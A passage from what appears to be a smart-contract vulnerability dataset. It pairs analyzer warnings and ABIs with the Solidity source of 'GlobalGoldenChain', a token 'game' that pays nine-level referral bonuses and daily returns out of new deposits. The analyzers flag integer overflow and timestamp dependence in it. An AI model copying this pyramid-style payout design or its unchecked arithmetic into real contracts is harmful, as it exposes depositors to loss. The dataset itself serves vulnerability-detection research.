[{"error": "Integer Underflow.", "line": 99, "level": "Warning"}, {"error": "Integer Underflow.", "line": 85, "level": "Warning"}, {"error": "Integer Overflow.", "line": 451, "level": "Warning"}, {"error": "Integer Overflow.", "line": 542, "level": "Warning"}, {"error": "Integer Overflow.", "line": 81, "level": "Warning"}, {"error": "Integer Overflow.", "line": 551, "level": "Warning"}, {"error": "Integer Overflow.", "line": 500, "level": "Warning"}, {"error": "Integer Overflow.", "line": 474, "level": "Warning"}, {"error": "Integer Overflow.", "line": 412, "level": "Warning"}, {"error": "Integer Overflow.", "line": 456, "level": "Warning"}, {"error": "Integer Overflow.", "line": 196, "level": "Warning"}, {"error": "Integer Overflow.", "line": 550, "level": "Warning"}, {"error": "Integer Overflow.", "line": 403, "level": "Warning"}, {"error": "Integer Overflow.", "line": 503, "level": "Warning"}, {"error": "Integer Overflow.", "line": 429, "level": "Warning"}, {"error": "Integer Overflow.", "line": 439, "level": "Warning"}, {"error": "Integer Overflow.", "line": 543, "level": "Warning"}, {"error": "Integer Overflow.", "line": 502, "level": "Warning"}, {"error": "Integer Overflow.", "line": 94, "level": "Warning"}, {"error": "Integer Overflow.", "line": 475, "level": "Warning"}, {"error": "Integer Overflow.", "line": 208, "level": "Warning"}, {"error": "Integer Overflow.", "line": 523, "level": "Warning"}, {"error": "Integer Overflow.", "line": 434, "level": "Warning"}, {"error": "Integer Overflow.", "line": 527, "level": "Warning"}, {"error": "Integer Overflow.", "line": 489, "level": "Warning"}, {"error": "Integer Overflow.", "line": 433, "level": "Warning"}, {"error": "Integer Overflow.", "line": 399, "level": "Warning"}, {"error": "Integer Overflow.", "line": 557, "level": "Warning"}, {"error": "Integer Overflow.", "line": 405, "level": "Warning"}, {"error": "Transaction-Ordering Dependency.", "line": 442, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 434, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 482, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 527, "severity": 1}, {"rule": "SOLIDITY_CALL_WITHOUT_DATA", "line": 442, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 263, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 372, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 491, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 502, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 550, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 372, "severity": 2}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 70, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 271, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 442, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 378, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 81, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 94, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 107, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 119, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 196, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 208, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 361, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 557, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 275, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 276, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 277, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 298, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 304, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 318, "severity": 1}]
[{"constant":true,"inputs":[],"name":"contractStage","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"},{"name":"roleName","type":"string"}],"name":"checkRole","outputs":[],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"receiverAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"finalBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"},{"name":"roleName","type":"string"}],"name":"hasRole","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"currentBeneficiaryCap","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"weiAmount","type":"uint256"}],"name":"submitPool","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"beneficiary","type":"address"}],"name":"viewBeneficiaryDetails","outputs":[{"name":"cap","type":"uint256"},{"name":"balance","type":"uint256"},{"name":"remaining","type":"uint256"},{"name":"ethRefund","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_tokenAddr","type":"address"},{"name":"_useAsDefault","type":"bool"}],"name":"enableTokenWithdrawals","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_tokenAddress","type":"address"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"ethRefundAmount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"closePool","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"setReceiver","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"},{"name":"tokenAddr","type":"address"}],"name":"checkAvailableTokens","outputs":[{"name":"tokenAmount","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"defaultToken","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"},{"name":"roleName","type":"string"}],"name":"adminRemoveRole","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"feePct","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"minContribution","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getPoolDetails","outputs":[{"name":"total","type":"uint256"},{"name":"currentBalance","type":"uint256"},{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_beneficiary","type":"address"},{"name":"tokenAddr","type":"address"}],"name":"withdrawFor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"},{"name":"roleName","type":"string"}],"name":"adminAddRole","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"value","type":"uint256"},{"name":"data","type":"bytes"}],"name":"tokenFallback","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"ROLE_ADMIN","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalPoolCap","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"gasLimit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getCurrentBeneficiaryCap","outputs":[{"name":"cap","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_admins","type":"address[]"},{"name":"_poolCap","type":"uint256"},{"name":"_beneficiaryCap","type":"uint256"},{"name":"_receiverAddr","type":"address"},{"name":"_feePct","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"beneficiary","type":"address"},{"indexed":false,"name":"totalBalance","type":"uint256"}],"name":"BeneficiaryBalanceChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"receiverAddress","type":"address"}],"name":"ReceiverAddressSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"token","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"ERC223Received","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"beneficiary","type":"address"},{"indexed":false,"name":"amount","type":"uint256"},{"indexed":false,"name":"gas","type":"uint256"},{"indexed":false,"name":"gasprice","type":"uint256"},{"indexed":false,"name":"gasLimit","type":"uint256"}],"name":"DepositReceived","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"stage","type":"uint8"}],"name":"PoolStageChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"receiver","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"PoolSubmitted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"sender","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefundReceived","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"beneficiary","type":"address"},{"indexed":true,"name":"token","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"TokenWithdrawal","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"beneficiary","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"EthRefunded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"addr","type":"address"},{"indexed":false,"name":"roleName","type":"string"}],"name":"RoleAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"addr","type":"address"},{"indexed":false,"name":"roleName","type":"string"}],"name":"RoleRemoved","type":"event"}]
v0.4.24+commit.e67f0147
false
200
00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000000000000000000000000003635c9adc5dea00000000000000000000000000000caa54db3f9faefd0a16f5afd84c1dfea4813191e000000000000000000000000000000000000000000000000000000000000015e0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000a7a6faa276553df654b91f229caa683f359e1c0800000000000000000000000023973488f652f08a72e218e53de1463fbbc8a10f
Default
false
bzzr://4c18d86ff03f643897e74b16b45314825245575b40936ac67e65065646fbb03b
GlobalGoldenChain
0xb493d50bf06c7b7cb3c89c6429282f64b5ad6cba
Solidity
/** * Verification for Global Golden Chain */ // SPDX-License-Identifier: MIT pragma solidity >=0.4.26 <0.7.0; contract GlobalGoldenChain{ string public name = "GlobalGoldenChainToken"; string public symbol = "GGCT"; uint public decimals = 18; uint public totalSupply = 1000000000 * (10 ** decimals); mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); event Burn(address indexed from, uint value); struct user{ address ref; bool is_user; uint eth; uint token; uint conversion_date; } mapping(address=>user) users; address[] investment_funds_addrs; uint user_num; uint total_eth; constructor(address[] memory _investment_funds_addrs) public { balanceOf[msg.sender] = totalSupply; for(uint i = 0; i < _investment_funds_addrs.length; i++){ user storage _user = users[_investment_funds_addrs[i]]; _user.is_user = true; investment_funds_addrs.push(_investment_funds_addrs[i]); user_num += 1; } } function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0x0)); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function burn(uint _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(allowance[_from][msg.sender] >= _value); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } function join_game(address ref)public payable{ uint amount = msg.value; uint tickets = amount * 10; require(amount >= 5 * (10 ** 17), "Need less 0.5 ETH to join game"); require(balanceOf[msg.sender] >= tickets, "Need enough World Feast Tickets to join game"); require(users[ref].is_user, "The referrer is not exist"); require(users[msg.sender].is_user == false, "You are already joined the game"); user storage _user = users[msg.sender]; uint token = amount * 3; _user.ref = ref; _user.is_user = true; _user.token = token; _user.conversion_date = block.timestamp; uint investment_funds = amount * 4 / 100; for(uint i = 0; i < investment_funds_addrs.length; i++){ address investment_funds_addr = investment_funds_addrs[i]; user storage _user_investment_funds = users[investment_funds_addr]; _user_investment_funds.eth += investment_funds; } address _ref = ref; for(uint i = 0; i < 9; i++){ user storage _user_ref = users[_ref]; if(_user_ref.is_user){ uint ref_bonus_eth = calc_ref_bonus_eth(amount, i); _user_ref.eth += ref_bonus_eth; } else { break; } _ref = _user_ref.ref; } burn(tickets); total_eth += amount; user_num += 1; } function play_game()public payable{ uint amount = msg.value; uint tickets = amount * 10; require(amount >= 5 * (10 ** 17), "Need less 0.5 ETH to join game"); require(balanceOf[msg.sender] >= tickets, "Need enough World Feast Tickets to join game"); require(users[msg.sender].is_user, "You are not join the game"); user storage _user = users[msg.sender]; uint token = amount * 3; (uint new_token, uint hold_bonus_eth) = calc_hold_bonus_eth(_user.token, _user.conversion_date); _user.eth += hold_bonus_eth; _user.token = new_token + token; _user.conversion_date = block.timestamp; uint investment_funds = amount * 4 / 100; for(uint i = 0; i < investment_funds_addrs.length; i++){ address investment_funds_addr = investment_funds_addrs[i]; user storage _user_investment_funds = users[investment_funds_addr]; _user_investment_funds.eth += investment_funds; } address _ref = _user.ref; for(uint i = 0; i < 9; i++){ user storage _user_ref = users[_ref]; if(_user_ref.is_user){ uint ref_bonus_eth = calc_ref_bonus_eth(amount, i); _user_ref.eth += ref_bonus_eth; } else { break; } _ref = _user_ref.ref; } burn(tickets); total_eth += amount; } function play_game_by_balance() public { require(users[msg.sender].is_user, "You are not join the game"); user storage _user = users[msg.sender]; uint eth = _user.eth; (uint new_token, uint hold_bonus_eth) = calc_hold_bonus_eth(_user.token, _user.conversion_date); eth += hold_bonus_eth; require(eth > 0, "Need enough eth balance to play game"); _user.eth = 0; _user.token = new_token + (eth * 3); _user.conversion_date = block.timestamp; } function withdrow() public { require(users[msg.sender].is_user, "You are not join the game"); user storage _user = users[msg.sender]; uint eth = _user.eth; (uint new_token, uint hold_bonus_eth) = calc_hold_bonus_eth(_user.token, _user.conversion_date); eth += hold_bonus_eth; require(eth > 0, "Need enough eth balance to withdrow"); require(address(this).balance >= eth, "Need enough contract eth balance to withdrow"); _user.eth = 0; _user.token = new_token; _user.conversion_date = block.timestamp; msg.sender.transfer(eth); } function query_account(address addr)public view returns(bool, uint, uint, uint, uint){ (uint new_token, uint hold_bonus_eth) = calc_hold_bonus_eth(users[addr].token, users[addr].conversion_date); uint eth = users[addr].eth + hold_bonus_eth; uint token = new_token; return (users[addr].is_user, users[addr].conversion_date, balanceOf[addr], token, eth); } function query_summary()public view returns(uint, uint) { return (total_eth, user_num); } function calc_ref_bonus_eth(uint amount, uint i) private pure returns(uint){ if(i == 0){ return amount * 9 / 100; } if(i == 1){ return amount * 6 / 100; } if(i == 2){ return amount * 5 / 100; } if(i == 3){ return amount * 3 / 100; } if(i == 4){ return amount * 2 / 100; } if(i == 5){ return amount * 4 / 1000; } if(i == 6){ return amount * 3 / 1000; } if(i == 7){ return amount * 2 / 1000; } if(i == 8){ return amount * 1 / 1000; } } function calc_hold_bonus_eth(uint token, uint conversion_date) private view returns(uint, uint) { uint new_token = token; uint hold_bonus_eth = 0; if(token > 0 && conversion_date > 0 && block.timestamp > conversion_date){ uint hold_days = (block.timestamp - conversion_date) / 1 days; for(uint i = 0; i < hold_days; i++){ uint day_bonus_eth = new_token * 1 / 100; if(day_bonus_eth > 0){ new_token -= day_bonus_eth; hold_bonus_eth += day_bonus_eth; } else { break; } } } return (new_token, hold_bonus_eth); } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["180"]}, {"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["33"]}, {"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["158", "126", "170", "89"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["131", "207", "178", "94", "165"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["8", "9", "207"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["48"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["173", "153", "211", "212", "37", "68", "77", "161", "116", "117", "56", "45", "46", "67", "76", "75", "184", "44", "121", "127", "133", "207", "209", "11", "83", "90", "96"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["206"]}]
[{"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [87]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [9]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [10]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [8]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"GlobalGoldenChain.sol": [37]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [188, 189, 190]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 119, 120, 121, 122, 123, 124, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [182, 183, 184, 185, 186, 187]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [64, 60, 61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [50, 51, 52, 53]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [54, 55, 56, 57, 58, 59]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [160, 161, 162, 163, 164, 165, 166, 155, 156, 157, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [72, 73, 74, 75, 76, 77, 78, 79, 80]}}, {"check": "function-init-state", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [11]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [5]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [87]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [60]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [72]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [54]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [28]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [65]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [160, 161, 162, 163, 164, 165, 166, 155, 156, 157, 158, 159]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [26]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [27]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [54]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [18, 19, 20, 21, 22, 23, 24]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [54]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [60]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [202]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [188, 189, 190]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [182, 183, 184, 185, 186, 187]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [50]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [72]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 191]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 119, 120, 121, 122, 123, 124, 125, 126, 127]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"GlobalGoldenChain.sol": [50]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"GlobalGoldenChain.sol": [162]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"GlobalGoldenChain.sol": [87]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"GlobalGoldenChain.sol": [175]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"GlobalGoldenChain.sol": [124]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"GlobalGoldenChain.sol": [210]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"GlobalGoldenChain.sol": [11]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 41, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 33, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 97, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 134, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 33, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 97, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 134, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 182, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 188, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 202, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 25, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 26, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 27, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 28, "severity": 1}]
[{"inputs":[{"internalType":"address[]","name":"_investment_funds_addrs","type":"address[]"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"burnFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ref","type":"address"}],"name":"join_game","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"play_game","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"play_game_by_balance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"query_account","outputs":[{"internalType":"bool","name":"","type":"bool"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"query_summary","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrow","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.6.6+commit.6c089d02
true
200
